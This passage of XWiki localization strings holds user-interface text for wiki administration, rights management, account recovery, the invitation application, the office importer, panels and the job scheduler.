information.\nadmin.groups=Groups\nadmin.groups.description=Manage user groups: add or remove groups, or change group members.\nadmin.registration=Registration\nadmin.registration.description=Manage user registration settings.\nadmin.rights=Rights\nadmin.rights.description=Manage groups and users rights: control who can view, edit and delete pages.\nadmin.pagerights=Rights: Page\nadmin.pagerights.description=Manage groups and users rights: control who can view, edit and delete the page. It does not affect the children.\nadmin.pagerights.info=These rights apply on this page only.\nadmin.pagerights.infoNonTerminalDoc=They do not affect the {0}children{1}.\nadmin.pageandchildrenrights=Rights: Page & Children\nadmin.pageandchildrenrights.description=Manage groups and users rights: control who can view, edit and delete the page. It affect their children.\nadmin.pageandchildrenrights.info=These rights apply on this page {0}and all {1}its children{2}{3}.\nadmin.userprofile=User Profile\nadmin.userprofile.description=Manage what information is displayed on the user profile of each user.", "admin.import=Import\nadmin.import.description=Import pages or applications into the wiki.\nadmin.export=Export\nadmin.export.description=Export wiki pages into a XAR.", "admin.xwiki.extensions.description=Search for new extensions to add to the wiki.\nadmin.xwiki.extensionhistory.description=See the history of the installed extensions.\nadmin.xwiki.extensionupdater.description=Check if there are any updates available for the installed extensions.", "admin.globaladmin=Wiki Preferences\nadmin.spaceadmin=Space Preferences\nadmin.placetoadminister=Place to administer\nadmin.gotoglobaladministration=Edit Wiki Preferences:\nadmin.globaladministration=Wiki Administration\nadmin.gotospaceadministration=Edit Space Preferences:\nadmin.showsections=Show the available categories\nadmin.hidesections=Hide the available categories\nadmin.documentation=Help on this setting\nadmin.general=General settings\nadmin.authentification=Authentication\nadmin.docextra=Page Tabs\nadmin.language=Language\nadmin.date=Date / Time\nadmin.editor=Editor\nadmin.versioning=Versioning\nadmin.smtp=SMTP\nadmin.header=Header\nadmin.panels=Panels\nadmin.footer=Footer\nadmin.skin=Skin\nadmin.messagestream=Message Stream\nadmin.messagestream.description=Enable or disable the message stream in the wiki.\nadmin.colortheme=Color Theme\nadmin.colortheme.wikiSetting=The color theme configured at the wiki level is {0}.\nadmin.colortheme.manage=Manage color themes\\u00BB\nadmin.customize=Customize\nadmin.save=Save\nadmin.defaultwikinotinstalled_useflavor=Your wiki seems empty. You may want to {0}install a flavor{1}, it will bring you a lot of features: user profiles, recent activity, administration pages and many more.\nadmin.adminappnotinstalled=The administration application is not installed. Since XWiki Enterprise 1.5, the Administration is distributed as an application. You can download it from {0}.\nadmin.preferences.title=Preferences\nadmin.analytics=Google Analytics\\u2122\nadmin.analytics.description=Configure the Google Analytics\\u2122 account.\nadmin.analytics.account.description=To enable page view tracking in Google Analytics\\u2122, enter your Google Analytics\\u2122 account here. You may enter more accounts (space separated) to track pages in multiple accounts.\nadmin.analytics.method.description=The tracking method you selected when you created the account.\nadmin.analytics.notrunning=Google Analytics\\u2122 is not running.\nadmin.analytics.running=Google Analytics\\u2122 is running.\nadmin.analytics.noscript=The application is unable to retrieve the script required to execute Google Analytics\\u2122.\nXWiki.GoogleAnalyticsCode_method=Tracking Method\nXWiki.GoogleAnalyticsCode_method_universal=Universal Analytics\nXWiki.GoogleAnalyticsCode_method_classic=Classic Analytics\nXWiki.GoogleAnalyticsCode_account=Account", "### Account validation\nxe.admin.accountvalidation.success=Your account has been activated. You can now <a href=\"{0}\">login</a>.\nxe.admin.accountvalidation.failure=There was a problem validating your account. Please contact an administrator.\n### Group management\nxe.admin.groups.member=Member\nxe.admin.groups.type=Type\nxe.admin.groups.type.user=User\nxe.admin.groups.type.group=Group\nxe.admin.groups.scope=Scope\nxe.admin.groups._actions=Actions\nxe.admin.groups._actions.delete=Remove\nxe.admin.groups.addUser=Users to add\nxe.admin.groups.addUser.submit=Add\nxe.admin.groups.addGroup=Subgroups to add\nxe.admin.groups.addSuccess=Members successfully added\nxe.admin.groups.addFailure=Failed to add members to group:\nxe.admin.groups.filter.groupName=Group name filter\nxe.admin.groups.filter.scope=Groups scope\nweb.groups.administration.groupsIgnored=Members successfully added but some groups have been ignored ({0})", "xe.admin.groups.loading=Loading...\nxe.admin.groups.name=Group Name\nxe.admin.groups.members=Members\nxe.admin.groups.manage=Manage\nxe.admin.groups.local=Local\nxe.admin.groups.global=Global\nxe.admin.groups.both=Both\nxe.admin.groups.create=Create a new group\nxe.admin.groups.create.inProgress=Creating the group...\nxe.admin.groups.create.done=Group created\nxe.admin.groups.create.failed=Failed to create the group\nxe.admin.groups.creategroup=Create group\nxe.admin.groups.editGroup=Edit group\nxe.admin.groups.deleteGroup=Delete group\nxe.admin.groups.delete.inProgress=Deleting the group...\nxe.admin.groups.delete.done=Group deleted\nxe.admin.groups.delete.failed=Failed to delete the group\nxe.admin.groups.currentgroups=Existing groups\nxe.admin.groups.administration=XWiki groups administration pages", "xe.admin.groups._avatar=Picture\nxe.admin.groups.email=Email\nxe.admin.groups.company=Company\nxe.admin.groups.phone=Phone\nxe.admin.groups.emptyvalue=-", "### User management\nxe.admin.users.loading=Loading...\nxe.admin.users=Users\nxe.admin.users.registernew=Register a new user\nxe.admin.users.existing=Existing user accounts\nxe.admin.users.administration=XWiki users administration pages\nxe.admin.users.sheet=User Sheet\nxe.admin.users.applyonusers=This stylesheet must be applied on a page containing a XWiki.XWikiUsers object.\nxe.admin.users.name=User\nxe.admin.users.first_name=First Name\nxe.admin.users.last_name=Last Name\nxe.admin.users.scope=Scope\nxe.admin.users._actions=Actions\nxe.admin.users._actions.disable=Disable\nxe.admin.users._actions.enable=Enable\nxe.admin.users.editUser=Edit user\nxe.admin.users.deleteUser=Delete user\nxe.admin.users.delete.inProgress=Deleting the user\\u2026\nxe.admin.users.delete.done=User deleted\nxe.admin.users.delete.failed=Failed to delete the user\nxe.admin.users.create.inProgress=Creating the user\\u2026\nxe.admin.users.create.done=User created\nxe.admin.users.create.failed=Failed to create the user", "### User profile management\nplatform.user.profileConfigureSectionsTitle=Displayed sections\nplatform.user.profileConfigureSectionsLabel=Section IDs\nplatform.user.profileConfigureSectionsHint=Space or newline separated list of section IDs to be displayed from the list of sections defined below.\nplatform.user.profileConfigureSectionsAllTitle=All sections\nplatform.user.profileConfigureSectionAddButtonLabel=Add\nplatform.user.profileConfigureSectionRemoveButtonLabel=Remove\nplatform.user.profileConfigureSectionIdLabel=Section ID\nplatform.user.profileConfigureSectionIdHint=Unique identifier of this section. Must not contain spaces.\nplatform.user.profileConfigureSectionNameLabel=Section Name\nplatform.user.profileConfigureSectionNameHint=Display name of this section. This can be a fixed string or a [[translation key>>{0}]] (Example: $services.localization.render(''key'')).\nplatform.user.profileConfigureSectionPropertiesLabel=Section Properties\nplatform.user.profileConfigureSectionPropertiesHint=Space or newline separated list of properties of the [[{0}]] class to display in this section. An optional [[microformats>>http://en.wikipedia.org/wiki/Microformat]] class can prefix the property name (Example: given-name:first_name family-name:last_name).\nplatform.user.profileConfigureSaveButtonLabel=Save", "### Skin\nxe.admin.skin=Skin\nxe.admin.skin.makeyourown=You can modify the existing look and feel and even create your own.\nxe.admin.skin.editskin=Edit this skin\nxe.admin.skin.testskin=Test this skin", "### Username recovery\nxe.admin.forgotUsername.loginMessage=Forgot your username?", "xe.admin.forgotUsername.title=Forgot your username?\nxe.admin.forgotUsername.instructions=Please enter the email address you provided when creating your account.\nxe.admin.forgotUsername.email.label=Email address\nxe.admin.forgotUsername.submit=Retrieve username\nxe.admin.forgotUsername.result=Your username is: {0}\nxe.admin.forgotUsername.multipleResults=The following usernames are registered with this email address:\nxe.admin.forgotUsername.login=Login \\u00BB\nxe.admin.forgotUsername.error.noAccount=No account is registered using this email address.\nxe.admin.forgotUsername.error.retry=\\u00AB Try again using another email address", "### Password reset\nxe.admin.passwordReset.loginMessage=Forgot your password?", "xe.admin.passwordReset.title=Forgot your password?\nxe.admin.passwordReset.instructions=Please enter your username to start the password reset process.\nxe.admin.passwordReset.username.label=Username\nxe.admin.passwordReset.submit=Reset password\nxe.admin.passwordReset.emailSent=An e-mail was sent to {0}. Please follow the instructions in that e-mail to complete the password reset procedure.\nxe.admin.passwordReset.login=Login \\u00BB\nxe.admin.passwordReset.error.noUser=The {0} user does not exist.\nxe.admin.passwordReset.error.ldapUser=The {0} user is an LDAP user. In that case the password has to be changed on the LDAP server.\nxe.admin.passwordReset.error.noEmail=Cannot reset password: email address not provided in the user profile.\nxe.admin.passwordReset.error.emailFailed=An unknown problem occurred while sending the reset email.\nxe.admin.passwordReset.error.retry=\\u00AB Retry username\nxe.admin.passwordReset.error.recoverUsername=Forgot your username?\nxe.admin.passwordReset.versionComment=Generated password reset token\nxe.admin.passwordReset.error.csrf=Bad CSRF token, you need to perform the procedure again.", "xe.admin.passwordReset.step2.title=Reset your password\nxe.admin.passwordReset.step2.newPassword.label=New password\nxe.admin.passwordReset.step2.newPasswordVerification.label=Re-enter new password\nxe.admin.passwordReset.step2.submit=Save\nxe.admin.passwordReset.step2.success=The password has been successfully set.\nxe.admin.passwordReset.step2.login=Please login to continue \\u00BB\nxe.admin.passwordReset.step2.backToStep1=Back to the password reset page \\u00BB\nxe.admin.passwordReset.step2.error.emptyPassword=The password cannot be empty.\nxe.admin.passwordReset.step2.error.verificationMismatch=The two passwords do not match.\nxe.admin.passwordReset.step2.error.wrongParameters=Wrong parameters! Another link was already sent or this one was already accessed!\nxe.admin.passwordReset.step2.error.noProgrammingRights=This page requires programming rights to work, which currently isn't the case. Please notify an administrator of this problem and try again later.\nxe.admin.passwordReset.step2.versionComment.passwordReset=Password was reset\nxe.admin.passwordReset.step2.versionComment.changeValidationKey=Refreshed password reset token", "### XWiki.Configurable - application configuration\nxe.admin.configurable.title=Custom configurable sections\nxe.admin.configurable.macros.title=Macros for custom configurable sections\nxe.admin.configurable.noPermissionThisApplication=You don't have permission to configure this application.\nxe.admin.configurable.applicationAuthorNoAdmin=This configuration cannot be displayed because it was last edited by [[{0}]] who doesn''t have permission to edit this page.\nxe.admin.configurable.cannotLockNoJavascript=This page cannot be locked for editing because Javascript is turned off. For page editing safety, please enable Javascript.\nxe.admin.configurable.configurationClassNonexistant=No class found by the name {0}, can''t display configuration.\nxe.admin.configurable.noObjectOfConfigurationClassFound=No object of class: {0} found in page {1}, can''t display configuration.\nxe.admin.configurable.sectionIconNoAccess=(No Access)\nxe.admin.configurable.sectionIconNoAccessTooltip=You don't have permission to configure this section.\nxe.admin.configurable.noViewAccessSomeApplications=Some sections may not be displayed because you do not have view access to some configurable applications including: {0}\n### XWiki.Registration\nxe.admin.registration.passwordTooShort=Please use a longer password.\nxe.admin.registration.passwordMismatch=The passwords do not match.\nxe.admin.registration.invalidEmail=Please enter a valid email address.\nxe.admin.registration.youCanConfigureRegistrationHere=You can configure this application by clicking here.\nxe.admin.registration.youCanConfigureRegistrationFieldsHere=You can add, remove and change fields in this form by clicking here.\nxe.admin.registration.fieldWithNoName=ERROR: Field with no name.", "### Attachment picker macro\nxe.attachmentSelector.gallery.title=Attachments\nxe.attachmentSelector.upload.title=Add\nxe.attachmentSelector.upload.hint=Accepted formats: {0}\nxe.attachmentSelector.upload.submit=Upload and select\nxe.attachmentSelector.selectFile=Choose an attachment\nxe.attachmentSelector.default=Default\nxe.attachmentSelector.supportedFormats=Accepted formats: {0}\nxe.attachmentSelector.actions.select=Select\nxe.attachmentSelector.actions.delete=Delete\nxe.attachmentSelector.actions.view=View\nxe.attachmentSelector.actions.download=Download\nxe.attachmentSelector.upload.error.noFile=Please choose a file to upload\nxe.attachmentSelector.upload.error.badExtension=Unsupported file format\nxe.attachmentSelector.upload.inProgress=Uploading...\nxe.attachmentSelector.cancel=Cancel and return to page\nxe.attachmentSelector.postUpload.comment=Update field {0}", "### Users Directory\nxe.userdirectory.title=User Directory\nxe.userdirectory.customizeSaveButtonLabel=Save\nxe.userdirectory.customizeResetButtonLabel=Reset to default\nxe.userdirectory.customizePreviewTitle=Preview\nxe.userdirectory.isCustomizedWarning=You are viewing a customized user directory. You can [[reset it to default>>{0}||queryString=\"{1}\"]] or [[customize>>{2}||queryString=\"{3}\"]] it further.\nxe.userdirectory.canCustomizeInfo=The user directory can be [[customized>>{0}||queryString=\"{1}\"]] to display the columns you wish to see.\nxe.userdirectory.canCustomizeInfoGuest=The user directory can be customized to display the columns you wish to see, but you need to [[log in>>{0}]] first.\nxe.userdirectory._avatar=Picture\nxe.userdirectory.doc.name=User ID\nxe.userdirectory.emptyvalue=\nadmin.userdirectory=User Directory\nadmin.userdirectory.description=Customize the user directory live table.", "####################\n# Translations for Invitation Application\n####################", "### Invitation section of administration interface.\nadmin.invitation=Invitation\nadmin.invitation.description=Configure the Invitation Application\nxe.invitation.heading=Invitation Messenger\nxe.invitation.userIsReportedSpammer=A message which you sent was reported as spam and your privilege to send mail has been suspended pending investigation, we apologize for the inconvenience.\nxe.invitation.internalDocument=This page is used by the [[invitation application>>{0}]]\nxe.invitation.onlyMembersCanSendMail=Sorry, only members of this wiki can send mail.\nxe.invitation.youAreAMemberOfOtherWiki=You seem to be a member of {0} which is a different wiki.\nxe.invitation.toLabel=To:\nxe.invitation.subjectLabel=Subject:\nxe.invitation.contentLabel=Message:\nxe.invitation.previewLabel=Preview:\nxe.invitation.errorWhileSending=An error has occurred while sending the message.\nxe.invitation.successSending=Your message has been sent.\nxe.invitation.messageSentLogEntry=Message sent\nxe.invitation.noValidMessagesToSend=Your message could not be sent because there were no valid email addresses to send to.\nxe.invitation.noMessageFound=No message found by that id.\nxe.invitation.guestsCanNotJoin=Invitations can not be accepted because this wiki is closed. To allow invitees to join, save [[{0}]] as a user with Programming Rights.\nxe.invitation.failedToCreateDocuments=Failed to create pages necessary for Invitation application to function.", "xe.invitation.emailContent.subjectLine={0} has invited you to join {1} {2}\nxe.invitation.emailContent.userHasInvitedYouToJoinWiki=You have received this mail because {0} has invited you to join {1}.\nxe.invitation.emailContent.joinLink=Accept the invitation and join\nxe.invitation.emailContent.declineLink=Decline\n### reportMessage expects the opening link tag to be passed as the parameter.\nxe.invitation.emailContent.reportMessage=If this message looks like abuse of our system, please {0}report it{1}", "xe.invitation.sendMail.addMessageSaveComment=Added Email Message(s).", "xe.invitation.displayOldMessage.heading=Inspect sent message\nxe.invitation.displayOldMessage.noMessageFound=No message by this id was found.\nxe.invitation.displayOldMessage.reportedAsSpam=Reported as spam\nxe.invitation.displayOldMessage.waitingToBeInvestigated=Waiting to be investigated\nxe.invitation.displayOldMessage.viewMessage=View Message\nxe.invitation.displayOldMessage.sentBy=Sent by:\nxe.invitation.displayOldMessage.markThisMessageAsInvestigated=Mark this message as investigated.", "xe.invitation.displayAllOldMessages.status=Message Status\nxe.invitation.displayAllOldMessages.viewMessagesSentByUsers=View messages sent by users\nxe.invitation.displayAllOldMessages.sender=Sender\nxe.invitation.displayAllOldMessages.subject=Subject\nxe.invitation.displayAllOldMessages.memo=Notes:", "xe.invitation.displayMessageTable.sentDate=Date\nxe.invitation.displayMessageTable.sendingUser=Sender\nxe.invitation.displayMessageTable.subjectLine=Subject\nxe.invitation.displayMessageTable.status=Status\nxe.invitation.displayMessageTable.memo=Memo\nxe.invitation.displayMessageTable.recipient=Email\nxe.invitation.displayMessageTable.history=Message History\nxe.invitation.displayMessageTable.showHistory=Show History\nxe.invitation.displayMessageTable.multipleRecipients={0} Recipients\nxe.invitation.displayMessageTable.various=<various>\nxe.invitation.displayMessageTable.noMessages=No messages to display", "xe.invitation.displayMessageTableInForm.buttonLabel.cancel=Rescind Invitation\nxe.invitation.displayMessageTableInForm.buttonLabel.notSpam=Mark as not spam", "xe.invitation.doAction.confirmLabel=Confirm\nxe.invitation.doAction.lackingPermission=You do not have permission to do this action.\nxe.invitation.doAction.invitationCanceledMemo={0} left you this message when rescinding the invitation.\nxe.invitation.doAction.invalidStatus=This request cannot be processed because the status of this invitation is {0}.", "xe.invitation.doAction.reportSpam.heading=Report Abuse\nxe.invitation.doAction.reportSpam.noMessageFound=There was no message found by the given ID. Maybe an administrator deleted the message from our system.\nxe.invitation.doAction.reportSpam.success=Your report has been logged and the situation will be investigated as soon as possible, we apologize for the inconvenience.\nxe.invitation.doAction.reportSpam.reportSaveComment=Reported message as spam.\nxe.invitation.doAction.reportSpam.areYouSure=Are you sure you would like to report this message as abuse?\nxe.invitation.doAction.reportSpam.memoLabel=Note to the administrator who investigates this report (optional)", "xe.invitation.doAction.accept.heading=Accept invitation\nxe.invitation.doAction.accept.saveComment=Invitation accepted.\nxe.invitation.doAction.accept.noMessageFound=No message was found by the given ID. It might have been deleted or maybe the system is experiencing difficulties.\nxe.invitation.doAction.accept.invitationCanceled=We're sorry but this invitation has been rescinded.\nxe.invitation.doAction.accept.alreadyReportedAsSpam=This invitation has been reported as spam and is no longer valid.\nxe.invitation.doAction.accept.alreadyDeclined=This invitation has been declined and cannot be accepted now.\nxe.invitation.doAction.accept.alreadyAccepted=This invitation has already been accepted and the offer is no longer valid.\nxe.invitation.doAction.accept.improperConfiguration=This invitation cannot be accepted because the wiki is not configured to allow new users.", "xe.invitation.doAction.decline.heading=Decline invitation\nxe.invitation.doAction.decline.memoLabel=Message to {0} (optional)\nxe.invitation.doAction.decline.confirmLabel=Decline invitation\nxe.invitation.doAction.decline.saveComment=Invitation Declined\nxe.invitation.doAction.decline.alreadyReportedAsSpam=This invitation has already been reported as spam and thus cannot be declined.\nxe.invitation.doAction.decline.invitationCanceled=This invitation has been rescinded and thus cannot be declined.\nxe.invitation.doAction.decline.alreadyDeclined=This invitation has already been declined and cannot be declined again.\nxe.invitation.doAction.decline.alreadyAccepted=This invitation has already been accepted and now cannot be declined.\nxe.invitation.doAction.decline.noMessageFound=No invitation was found by the given ID. It might have been deleted or maybe the system is experiencing difficulties.\nxe.invitation.doAction.decline.success=This invitation has successfully been declined.", "xe.invitation.doUserActionOnMultipleMessages.notPossibleOnMultipleMessages=This action is not possible on multiple messages.\nxe.invitation.doUserActionOnMultipleMessages.confirmLabel=Confirm\nxe.invitation.doUserActionOnMultipleMessages.noMessagesFound=No messages were found for the provided IDs.\nxe.invitation.doUserActionOnMultipleMessages.noMessagesAffected=This action cannot be carried out because all of the messages selected are of the wrong status.", "xe.invitation.doUserActionOnMultipleMessages.notSpam.successMessage=Invitation successfully marked as not spam. Log entry: {0}\nxe.invitation.doUserActionOnMultipleMessages.notSpam.heading=Mark message as not spam or situation handled.\nxe.invitation.doUserActionOnMultipleMessages.notSpam.memoLabel=Synopsis of findings and/or action taken\nxe.invitation.doUserActionOnMultipleMessages.notSpam.confirmLabel=Return email privilege\nxe.invitation.doUserActionOnMultipleMessages.notSpam.reportHandledSaveComment={0} investigated spam report.", "xe.invitation.doUserActionOnMultipleMessages.cancel.heading=Rescind invitations\nxe.invitation.doUserActionOnMultipleMessages.cancel.saveComment={0} invitations were rescinded by {1}\nxe.invitation.doUserActionOnMultipleMessages.cancel.success=Invitation successfully rescinded.\nxe.invitation.doUserActionOnMultipleMessages.cancel.memoLabel=Leave a message in case the invitee(s) try to register.\nxe.invitation.doUserActionOnMultipleMessages.cancel.someMessagesNotFound={0} of the {1} invitations to rescind could not be found.\nxe.invitation.doUserActionOnMultipleMessages.cancel.areYouSure.OneMessage=Are you sure you want to rescind this invitation?\nxe.invitation.doUserActionOnMultipleMessages.cancel.areYouSure.OneMessagePerGroup=Are you sure you want to rescind these {0} invitations?\nxe.invitation.doUserActionOnMultipleMessages.cancel.areYouSure.multipleMessagesMultipleGroups=Are you sure you want to rescind these {0} invitations to {1} recipients?", "xe.invitation.displayMessage.anAddressesIsInvalid=One of the given email addresses is invalid and will not receive a message.\nxe.invitation.displayMessage.someAddressesAreInvalid={0} of the given email addresses are invalid and will not receive a message.\nxe.invitation.displayMessage.theAddressIsInvalid=The email address given is invalid and will not receive a message.\nxe.invitation.displayForm.sendMail=Send Mail\nxe.invitation.displayForm.backToEdit=Back To Edit\nxe.invitation.displayForm.preview=Preview", "xe.invitation.tools.heading=Tools\nxe.invitation.tools.myInvitationsLink=My Invitations\nxe.invitation.tools.invitationsInGroup=Invitations in this Message Group\nxe.invitation.tools.invitationHistory=History of this Invitation\nxe.invitation.tools.senderLink=Send Invitations", "xe.invitation.adminTools.heading=Administrative Tools\nxe.invitation.adminTools.configureLink=Configure the Invitation Application\nxe.invitation.adminTools.allInvitationsLink=All Invitations", "xe.invitation.configuration.smtpHeading=SMTP Settings", "xe.invitation.setMessageStatus=Message status set to {0} by user {1}. Log: {2}\nxe.invitation.displayMessageHistory.messageStatusSetTo=Message status set to\nxe.invitation.displayMessageHistory.setByUser=By user\nxe.invitation.displayMessageHistory.logEntry=Log Entry\nxe.invitation.inspectMessages.lastEntryInfoBox={0} with message: {1}", "xe.invitation.messageStatus.unsent=Unsent\nxe.invitation.messageStatus.pending=Pending\nxe.invitation.messageStatus.accepted=Accepted\nxe.invitation.messageStatus.declined=Declined\nxe.invitation.messageStatus.canceled=Rescinded\nxe.invitation.messageStatus.reported=Reported as spam\nxe.invitation.messageStatus.investigated=Spam report investigated\nxe.invitation.messageStatus.unknown=Unknown status ({0})\nxe.invitation.messageStatus.sendingFailed=Failed to send message", "### Office importer application\nxe.officeimporter.notallowed=Guests are not allowed to view the contents of this page.\nxe.officeimporter.error.normaluser=This application requires an active Office Server which we could not locate. Please contact your administrator to resolve this issue.\nxe.officeimporter.error.adminuser=You need to setup an Office Server to make the Office Importer application available to your users. Please look at the Office Importer {0}documentation{1} for instructions on how to setup and configure an Office Server.\nxe.officeimporter.import.title=Office Importer\nxe.officeimporter.import.document=Document\nxe.officeimporter.import.target=Target\nxe.officeimporter.import.targetspace=Target space\nxe.officeimporter.import.targetpage=Target page\nxe.officeimporter.import.appendresult=Append result\nxe.officeimporter.import.styles=Styles\nxe.officeimporter.import.filterstyles=Filter styles\nxe.officeimporter.import.splitting=Splitting\nxe.officeimporter.import.splitting.splitdocument=Split document\nxe.officeimporter.import.splitting.headinglevels=Heading levels to split\nxe.officeimporter.import.splitting.heading=Heading\nxe.officeimporter.import.splitting.naming=Child pages naming method\nxe.officeimporter.import.splitting.naming.headingnames=Heading names\nxe.officeimporter.import.splitting.naming.mainpagenameandheading=Main page name and heading\nxe.officeimporter.import.splitting.naming.mainpagenameandnumbering=Main page name and numbering\nxe.officeimporter.import.import=Import\nxe.officeimporter.import.help.target=Key-in target space and page name. Select \"Append result\" to append the result to an existing wiki page.\nxe.officeimporter.import.help.styles=Select \"Filter styles\" to strip out unnecessary styling information from the result.\nxe.officeimporter.import.help.splitting=Document splitting allows creating multiple wiki pages from a single office document.\nxe.officeimporter.results.title=Office Importer Results\nxe.officeimporter.results.goback=Go back\nxe.officeimporter.results.missingfile=Missing input file. Please {0} and correct it.\nxe.officeimporter.results.result=result\nxe.officeimporter.results.success=Conversion succeeded. You can view the {0}, or you can {1} to convert another document.\nxe.officeimporter.openoffice.parameter=Parameter\nxe.officeimporter.openoffice.value=Value\nxe.officeimporter.openoffice.yes=Yes\nxe.officeimporter.openoffice.no=No\nxe.officeimporter.openoffice.servertype=Server type\nxe.officeimporter.openoffice.servertype.internal=Internally managed (local)\nxe.officeimporter.openoffice.servertype.external=Externally managed (local)\nxe.officeimporter.openoffice.servertype.remote=Externally managed (remote)\nxe.officeimporter.openoffice.serverport=Server port\nxe.officeimporter.openoffice.autostart=Auto start\nxe.officeimporter.openoffice.autoconnect=Auto connect\nxe.officeimporter.openoffice.serverpath=Server path\nxe.officeimporter.openoffice.serverprofile=Server profile\nxe.officeimporter.openoffice.serverprofile.default=Default profile\nxe.officeimporter.openoffice.serverstate=Server state\nxe.officeimporter.openoffice.actions=Actions\nxe.officeimporter.openoffice.actions.start=Start server (connect)\nxe.officeimporter.openoffice.actions.connect=Connect\nxe.officeimporter.openoffice.actions.stop=Stop server (disconnect)\nxe.officeimporter.openoffice.actions.disconnect=Disconnect\nxe.officeimporter.openoffice.actions.restart=Restart server\nxe.officeimporter.openoffice.update=Update\nxe.officeimporter.openoffice.limitedcontrol=The Office Server can only be controlled from the main wiki.\nplatform.office.importDocumentOverwriteConfirmation=The target document exists. Are you sure you want to overwrite its content?\noffice.configuration.serverpath.error.notSetNotAutodetected=Not set / Not autodetected", "### Panels application\nxe.panels.classedit.youare=You are editing\nxe.panels.classedit.chooseproperty=Choose a property to edit or add a property to the class.\nxe.panels.classedit.editother=Edit another class\nxe.panels.classedit.unsavedchanges=Unsaved changes will be lost when switching to another class.\nxe.panels.switchclass=Switch class\nxe.panels.create.panel=Create new panel:\nxe.panels.create.title=Panel Title\nxe.panels.rights.welcomeglobal=Welcome to the global rights editor.\nxe.panels.rights.space=Rights applied to a space replace rights applied to the whole wiki.\nxe.panels.rights.warning=Warning:\nxe.panels.rights.noauthentication=Without any authentication forcing and any rights specified a Wiki is public for viewing and editing by default.\nxe.panels.document.information=XWiki page information\nxe.panels.includedDocs.title=Included pages\nxe.panels.includedDocs.count={0,choice,0#No|1#One|1<{0}} included {0,choice,0#pages.|1#page:|1<pages:}\nxe.panels.last.members=Last Members\nxe.panels.members.name=Name\nxe.panels.members.photo=Photo\nxe.panels.members.viewall=View All\nxe.panels.modifications.my=My Recent Modifications\nxe.panels.navigation=Navigation\nxe.panels.new.itemType=Type of the item\nxe.panels.new.page=New Page (current space)\nxe.panels.new.space=New Space\nxe.panels.new.name=Name\nxe.panels.orphaned=Orphaned Pages\nxe.panels.wizard.savenew=Save\nxe.panels.wizard.revert=Reset\nxe.panels.wizard.homepage=Go to Panels\nxe.panels.edit=(Edit this panel)\nxe.panels.quicklinks=Quick Links\nxe.panels.quicklinks.dashboard=Dashboard\nxe.panels.quicklinks.index=Page Index\nxe.panels.quicklinks.sandbox=Sandbox\nxe.panels.quicklinks.userdirectory=User Index\nxe.panels.rights.welcome=Welcome to the rights editor.\nxe.panels.rights.explanation=Rights applied to a page replace rights applied to a space and rights applied to the whole wiki.\nxe.panels.rights.help=Rights editor help\nxe.panels.rights.users=Users\nxe.panels.rights.usersexplanation=This field should contain the wikiname of each user you want to apply the rights to. For example <em>XWiki.JohnDoe</em>. <em>XWiki.XWikiGuest</em> should be used for unidentified users.\nxe.panels.rights.groups=Groups\nxe.panels.rights.groupsexplanation=This field should contain the wikinames of groups you want to apply the rights to. <em>XWiki.XWikiAllGroup</em> represents the group of all logged-in users with an account on your Wiki.\nxe.panels.rights.groupsvirtualexplanation=<em>xwiki:XWiki.XWikiAllGroup</em> represents the group of all logged-in users using a global account.\nxe.panels.rights.accesslevels=Access levels\nxe.panels.rights.accesslevelsexplanation=This field should contain a list of access levels that you want to apply to the users and groups specified. Available access levels are: admin, programming, register, edit, view and comment. To protect your wiki in view and edit mode use \"view, edit\". To protect adding comments use \"comment\".\nxe.panels.rights.allowdeny=Allow/Deny\nxe.panels.rights.allowdenyexplanation=This field should contain <em>Allow</em> to specify that this is an allow right, and <em>Deny</em> to specify a deny right. An <em>allow</em> right means: \"this wiki, space or page is *only* visible or editable to the users or groups specified\".\nxe.panels.rights.openwiki=To open a Wiki for editing by the public:\nxe.panels.rights.opengroups=Groups: XWiki.XWikiAllGroup, xwiki:XWiki.XWikiAllGroup\nxe.panels.rights.openusers=Users: XWiki.XWikiGuest\nxe.panels.rights.openaccess=Access Levels: \"view, edit\" for a public Wiki for viewing and editing.\nxe.panels.rights.openallow=Allow/Deny: Allow\nxe.panels.rights.protectedwiki=To protect a Wiki or Space by allowing only logged-in users using an account created on your Wiki use:\nxe.panels.rights.protectedgroups=Groups: XWiki.XWikiAllGroup\nxe.panels.rights.protectedusers=Users:\nxe.panels.rights.protectedaccess=Access Levels: \"edit\" for a private wiki for editing, \"view, edit\" for a private Wiki for viewing and editing.\nxe.panels.rights.protectedallow=Allow/Deny: Allow\nxe.panels.rights.bannedgroup=To protect a Wiki or Space by disallowing banned users to edit pages use:\nxe.panels.rights.banedgroups=Groups: XWiki.XWikiBannedGroup\nxe.panels.rights.bannedusers=Users:\nxe.panels.rights.bannedaccess=Access Levels: \"edit\"\nxe.panels.rights.banneddeny=Allow/Deny: Deny\nxe.panels.rights.tips=Rights editor tips\nxe.panels.rights.publicwiki=Public wiki\nxe.panels.rights.authenticate=Authenticate on view/edit\nxe.panels.rights.banned=Banned users\nxe.panels.tagcloud.title=Tag Cloud\nxe.panels.shortcuts=Shortcuts\nxe.panels.spaces=Spaces\nxe.panels.syntax.help=XWiki Syntax Help\nxe.panels=Panels\nxe.panels.create=Create a new panel\nxe.panels.customize=You can customize the side column(s) using the\nxe.panels.welcome.xwiki=Welcome to this XWiki!", "### Scheduler application\nxe.scheduler.jobscheduled=Job {0} scheduled. Next fire time: {1}\nxe.scheduler.paused=Job {0} paused\nxe.scheduler.resumed=Job {0} resumed. Next fire time: {1}\nxe.scheduler.unscheduled=Job {0} unscheduled\nxe.scheduler.triggered=Job {0} triggered\nxe.scheduler=Job Scheduler\nxe.scheduler.welcome=Welcome to the Job Scheduler. This application allows you to create administration scripts that can be triggered periodically.\nxe.scheduler.jobs.list=List of existing jobs\nxe.scheduler.jobs.actions=Actions\nxe.scheduler.jobs.actions.access=Access:\nxe.scheduler.jobs.actions.view=View\nxe.scheduler.jobs.actions.edit=Edit\nxe.scheduler.jobs.actions.manage=Manage:\nxe.scheduler.jobs.actions.schedule=Schedule\nxe.scheduler.jobs.actions.pause=Pause\nxe.scheduler.jobs.actions.unschedule=Unschedule\nxe.scheduler.jobs.actions.resume=Resume\nxe.scheduler.jobs.actions.delete=Delete\nxe.scheduler.jobs.actions.trigger=Trigger\nxe.scheduler.jobs.next=Next Fire Time\nxe.scheduler.jobs.next.undefined=N/A\nxe.scheduler.jobs.status=Job Status\nxe.scheduler.jobs.name=Job Name\nxe.scheduler.job=Job\nxe.scheduler.jobs.create=Create a new job\nxe.scheduler.jobs.create.nameTip=Job name\nxe.scheduler.jobs.create.submit=Add\nxe.scheduler.jobs.explaincreate=Enter below the name of the page that will hold your job. The job will be created in the current Scheduler space.\nxe.scheduler.jobs.warning=Job creation is reserved for programmers and you 